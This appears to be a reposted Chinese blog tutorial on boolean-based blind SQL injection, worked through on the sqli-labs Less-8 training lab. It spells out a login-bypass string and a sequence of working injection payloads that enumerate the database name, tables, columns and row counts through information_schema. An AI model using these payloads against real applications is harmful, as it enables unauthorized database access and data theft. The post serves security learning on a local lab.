SQL注入测试学习布尔盲注
Posted 测试媛学渣笔记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入测试学习布尔盲注相关的知识,希望对你有一定的参考价值。
SQL注入简介
SQL注入测试环境搭建
SQL注入类型之布尔盲注
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。但凡使用数据库开发的应用系统,就有可能存在SQL注入攻击的媒介。
例如:即使你密码设置了多么复杂,别人可以使用万能钥匙轻易地进行免密登录:用户名输入admin' #或1' or 1=1 #便可绕过登录验证。但前提是后台没有过滤特殊字符。为什么用户名输入以上的字符可以轻易绕过登录的验证呢?我们后面将进行详细的讲解。
登录
详细讲解下SQL注入知识点之前均需要大家先搭建下nginx+php+mysql测试环境,基于这个环境,练手下SQL注入。可以自行搭建也可以使用PHP的集成环境的工具来学习,我们主要注重理论和实践的结合。
在这写可能篇幅过长,我专门写了写了环境搭建及工具下载安装的三篇文章:SQL注入测试环境Apache+PHP+MySQL搭建,SQL注入测试工具之Sqli-labs下载安装、SQL注入测试工具之SqlMap下载安装:
SQL注入测试环境Apache+PHP+MySQL搭建
SQL注入测试工具之Sqli-labs下载安装
后面知识点的学习我们借助Sqli-labs来学习,前提是:
Apache+PHP+MySQL搭建已搭建完成Sqli-labs下载安装完成
以上环境搭建完成之后,我们浏览器访问Sqli-labs的网址例如:http://localhost/sqli-labs-master/,分别有:
Advanced injections(高级注入)
Stacked Injections(堆叠注入)
Challenges(闯关)
默认显示"Advanced injections",Advanced injections有1-22节教程,分别对应不同的注入类型。
Advanced injections
Stacked Injections
Challenges
备注:php.ini中magic_quotes_gpc需设置为Off,否则后续的注入就没有任何作用。重要的事情要说三遍。php.ini中magic_quotes_gpc需设置为Off,php.ini中magic_quotes_gpc需设置为Off!!!(被这个配置给坑惨了,输入各种注入的语句,均返回正确的网页,找问题花了一整天的时间,最后发现是这个配置问题,给跪了)
下面以PhPStudy集成环境为例:
SQL注入学习之前先普及下后面的注释符号--+的知识点。
--表示注释
主要注释后面的语句,使其不被执行,如源码中的查询语句,我们传入的参数为:?id=1' and 1=1 --+,最后执行的语句为:select * from users where id = '1' and 1=1 -- LIMIT 0,1; LIMIT 0,1的语句被注释掉不被执行。那么很多人就有疑问为什么还有+号呢,直接--不就行了吗?
+表示空格
--注释后面如果不带空格,则无法形成有效的sql语句,大家可以使用sql语句在sql执行的任何编辑器上试试,我这边用native演示,也就一目了然,带了空格的LIMIT 0,1直接被注释掉,显示为灰色。但是如果直接用--后面带上空格,空格在传输的过程中会被忽略掉,也是一样无空格,这个时候+号就派上用场了,+号会被解释成空格,ASCII编码是%20。另外,又有人有疑问,为什么不直接用注释符号#呢,sql中也是支持#的呀?
#用于指导浏览器动作
无法注释后面的语句,不过可以直接使用#的ASCII编码%23,也就是传入的参数可以为:?id=1' and 1=1 %23,后面可以带空格也可以不带。
好了,小知识已普及,可以开始学习下面的知识了。
SQL注入的方式有很多种,主要是采用一些检测技术对系统进行扫描,根据扫描的结果判断是否存在SQL注入漏洞,也可以通过对代码的分析来判断某些输入域是否可SQL注入,再根据输入域采用不同的方式进行注入。主要有以下四种类型的注入
基于布尔的盲注基于时间的盲注联合查询注入基于错误信息的注入,这里主要先讲下基于布尔的盲注:
盲注是在不知道数据库返回值的情况下对数据中的内容进行猜测。而基于布尔的盲注,布尔型,也就是True和False,主要是利用页面返回True或False来得到数据库中的相关信息,如数据库名,表名,字段名等,就可以利用得到的数据库的信息进行进一步的渗透测试。
sqli-labs我们选择Advanced injections(高级注入)中的(GET请求-基于布尔盲注的单引号注入)来学习:
less8
访问less8的页面成功,从页面的描述可以知道,这个页面的参数是id,id的输入的类型支持的是数值型的,我们可以测试下:
id输入数值型
id输入字符串
id输入数值型且数据库中存在id为1的跳转至正确的页面,显示"You are in....",输入字符型“1”则无法跳转至正确页面。
我们可以看下less8课程的页面源码,打开sqli-labs-master/Less-8的文件夹,打开index.php的文件。
注入之前判断是否可以注入:
?id=1 and 1=1 --+:返回正确网页
?id=1 and 1=2 --+:返回正确网页
结果均返回正确的网页,显示You are in....的页面,可能说明id的变量可能带有单引号
再次尝试下面的注入方式:
?id=1' and 1=1 --+:返回正确网页
?id=1' and 1=2 --+:未返回正确网页
说明此处可以注入,并且注入需带上单引号,与变量的单引号形成闭合。
?id=1' and (length(database())> 5) --+
猜测长度,输入语句猜测数据库长度,猜对页面显示正常,猜错则不跳转正确页面。这里的判断借用and判断,两真为真则为真,一假则为假,我们实验下:
and (length(database())> 5) ,先随便猜测下数据库的名称长度大于5,可以看到下面页面跳转至带有"You are in.....",我们可以知道id为1前半部分一定是真,and的后半部分也必须为真才能跳转至正确的页面,现在我们知道当前查询的数据库的名称长度是大于5的了。
接下来我们缩小范围,猜测下数据库名称的长度小于10,页面又跳转正确,那么数据库名称长度就锁定在5-10之间了,后面可以继续猜测,最后猜测出数据库名称的长度是8,当前的数据库是security,长度刚好是8,所以我们这里的猜测数据库名长度就成功了。
备注:这里采用二分法进行猜测,可以选取一个数字,使用大于和小于的方式逐渐缩小范围。
?id=1' and (ascii(substr(database(),1,1)) >100) --+
上面我们已经知道数据库名长度为8,那么我们就要猜测8个字符分别是什么,分别需要用到以下三个函数:
database():获取函数名substr(字符串,开始截取的位置,截取的个数):截取字符串ascii():获取字符串的ASCII码值,字符对应的具体ASCII码大家可以百度下
我们还是使用前面猜测长度的方式二分法去分别猜测八个字符是多少:
猜测第一个字符:
?id=1' and (ascii(substr(database(),1,1)) >100) --+
?id=1' and (ascii(substr(database(),1,1)) <120) --+
...
最后猜测出第一个字符是:
?id=1' and (ascii(substr(database(),1,1)) =115) --+,ASCII码115对应的字符是s
接下来猜测第二个字符,将截取的位置修改为2,从第二位开始截取,取一位数字
?id=1' and (ascii(substr(database(),2,1)) >100) --+ .....,猜测第三个,第四个......最后猜出来的数据库名称是security。
备注:大家不要傻傻地这么猜。。。。累死人的,这里为了讲解清楚才写这么详细,最好是编写脚本或者使用工具。
?id=1' and (select count(table_name) from information_schema.TABLES WHERE TABLE_SCHEMA='security')>10 --+
查询数据库表的个数通用的查询语句:
SELECT count(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='dbname'
我们需要认识下系统自带的几个数据表,后面猜测数据库表的名称等均需要从以下系统自带表中查询。
information_schema.tables:存储表名信息的表
information_schema.columns:存储列名信息的表
information_schema.schemata:存储数据库名信息的表
这里的information_schema.TABLES是系统自带的数据库,dbname传入我们知道的security数据库名即可,最后猜测出security数据库的数据表是4个:
?id=1' and length((select table_name from information_schema.tables where table_schema='security'))>5--+
查询表名的语句:
select table_name from information_schema.tables where table_schema='security'
这里我们需要查询四个表的长度
查询第1个:
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1))>5--+
查询第2个:
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1 offset 1))>5--+
查询第3个:
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1 offset 2))>5--+
查询第4个:
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1 offset 3))>5--+
以上每个表均使用二分法测试猜测表名的长度,最终得出的4个表的长度分别是6,8,7,5
与上面猜测数据库名一致,通过ASCII码值猜测
?id=1' and ascii(SUBSTR((select table_name from information_schema.tables where table_schema= 'security' limit 1),1,1))>100 --+
最终猜测出的数据库表名是:emails,referers,uagents,users
emails表:
?id=1' and (select count(*) from information_schema.columns where table_schema='security' and table_name = 'emails')<5 --+
referers表:
?id=1' and (select count(*) from information_schema.columns where table_schema='security' and table_name = 'referers')<5 --+
uagents表:
?id=1' and (select count(*) from information_schema.columns where table_schema='security' and table_name = 'uagents')<5 --+
users表:
?id=1' and (select count(*) from information_schema.columns where table_schema='security' and table_name = 'users')<5 --+
得出以上四个表的字段个数分别是:emails(2个),referers(3个),uagents(4个),users(3个)
?id=1' and LENGTH((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1)) < 5
查询emails表第二个字段:
?id=1' and LENGTH((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1 offset 1)) < 5
其他的数据表更换表名,且更新offet后的数字即可查询每一个字段的值,最终查询的结果为:
emails:第一个字段长度2,第二个字段长度8
referers:第一个字段长度2,第二个字段长度7,第三个字段长度10
uagents:第一个字段长度2,第二个字段长度6,第三个字段长度10,第四个字段长度8
users:第一个字段长度2,第二个字段长度8,第三个字段长度8
?id=1' and ascii(SUBSTR((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1 offset 0),1,1)) --+
猜测数据库表字段名可以灵活一点猜测,通过上面的表字段名长度为2的,可以按照id猜测,users表的,可以按照id,username,password通用名字猜测。其余的还是按照二分法大于小于的方式来猜测。最终猜测出来的4个表的字段分别是:
emails:id,email_id
referers:id,referer,ip_address
uagents:id,uagent,ip_address,username
users:id,username,password
?id=1' and (select count(1) from security.emails) >5 --+
依次代入数据表名,二分法大于小于猜测,最终猜测4个表的记录分别是:emails(8条),referers(0条),uagents(0条),users(13条)
?id=1' and length((select * from security.emails limit 1 offset 0))>5 --+
猜测表字段值长度与猜测表字段名长度方法一致,这里我就不再赘述了。
?id=1' and ascii(substr((select security.emails limit 1 offset 0), 1, 1)) =%s --+
猜测数据表字段值名还是猜测ASCII码的方式,能看到这里的童鞋应该都已经明白了,这里贴出最终猜出的users表的数据:
备注:再次提醒!!!以上是为了理解为什么知识点进行的详细讲解,所以用的是手工的盲注一点点猜测和测试,实际上最好自行编写脚本如python脚本去测试出这个值,或者借用工具,这里推荐sqlmap和burpsuite工具。
以上是关于SQL注入测试学习布尔盲注的主要内容,如果未能解决你的问题,请参考以下文章